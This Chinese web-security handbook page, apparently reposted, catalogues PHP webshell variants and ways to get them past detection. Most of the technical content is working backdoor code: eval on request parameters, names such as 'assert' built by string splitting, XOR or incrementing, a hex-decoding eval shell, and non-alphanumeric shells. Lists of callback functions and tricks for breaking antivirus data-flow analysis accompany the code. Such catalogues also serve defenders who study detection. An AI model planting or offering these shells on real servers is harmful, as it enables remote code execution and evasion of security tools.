- 目录
- 1. 序章
- 2. 计算机网络与协议
- 3. 信息收集
- 4. 常见漏洞攻防
- 5. 语言与框架
- 6. 内网渗透
- 7. 云安全
- 8. 防御技术
- 9. 认证机制
- 10. 工具与资源
- 11. 手册速查
- 12. 其他
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
5.1.8. WebShell
5.1.8. WebShell
5.1.8.1. 常见变形
- GLOBALS
eval($GLOBALS['_POST']['op']);
$_FILE
eval($_FILE['name']);
- 拆分
eval(${"_PO"."ST"} ['sz']);
- 动态函数执行
$k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
$a=$_GET['a'];$a($_GET['b']);
- create_function
$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
- preg_replace
- 变形
- str_replace(" ", "e v a l")
- 进制转化
"\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"
- 进制运算
("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
- 自增运算
$a="a";$a++;
- 强制类型转换
$a='';$a.=[]; // Array
- 利用文件名
__FILE__
- 注释
$a="e"."v"./*-/*-*/"a"./*-*/"l";
- 反射
ReflectionFunction
5.1.8.2. Bypass
- 基于少见函数
mb_eregi_replace('.*',$_GET[1],'','e');
- set_error_handler + trigger_error
- 基于污染传播
putenv($_GET["c"]);eval(getenv('path'));
- parse_str
- parse_url
- extract
- token_get_all
- define
- 基于少见源
$a = filter_input(INPUT_GET,'c');
eval(end(getallheaders()));
- get_defined_vars
- getallheaders
- get_meta_tags
- phpinfo
- 外部变量 / 文件信息
- 重载 toString
5.1.8.3. 字符串变形函数
- base64_decode
- base64_encode
- str_replace
- str_rot13
- strtok
- strtolower
- strtoupper
- strtr
- substr
- substr_replace
- trim
- ucfirst
- ucwords
5.1.8.4. 回调函数
- array_filter
- array_map
- array_reduce
- array_walk
- array_walk
- array_walk_recursive
- call_user_func
- call_user_func_array
- filter_var
- filter_var_array
- preg_replace_callback
- register_tick_function
- registregister_shutdown_function
- uasort
- uksort
5.1.8.5. 加解密函数
- mcrypt_encrypt
- openssl_encrypt
5.1.8.6. 其他执行方式
- FFI
- SimpleXML
- SimpleXMLElement
5.1.8.7. 自定义函数
使用自定义的加解密函数,在一定程度上可以绕过一些防护软件的查杀,下面的代码是一个基于十六进制的执行的简单例子。
$string = ''; $password = 'password'; if(isset($_POST[$password])){ $hex = $_POST[$password]; for($i = 0; $i < strlen($hex) - 1; $i += 2) { $string .= chr(hexdec($hex[$i] . $hex[$i + 1])); } } eval($string);
5.1.8.8. 特殊字符Shell
PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。
<?=`{${~"\xa0\xb8\xba\xab"}[~"\xa0"]}`;
@$_++; $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); @${$__}[!$_](${$__}[$_]);
$_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___(base64_decode($_[_]));
5.1.8.9. 检测对抗
- 基于混淆影响程序分析
- 基于动态变量影响程序执行
- 抛出异常打断数据流分析
- 基于反射打断数据流分析
- 基于引用传递打断数据流分析
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论